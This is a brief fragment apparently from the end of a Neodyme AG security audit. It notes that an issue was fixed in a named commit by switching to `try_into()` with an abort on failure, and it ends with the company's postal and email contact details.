Fix Fixed in `86af2d4d6e614943743f685e35f4a33345f673ec`. Now uses `try_into()` and aborts on failure.

Neodyme AG

Dirnismaning 55
Halle 13
85748 Garching
E-Mail: contact@neodyme.io

https://neodyme.io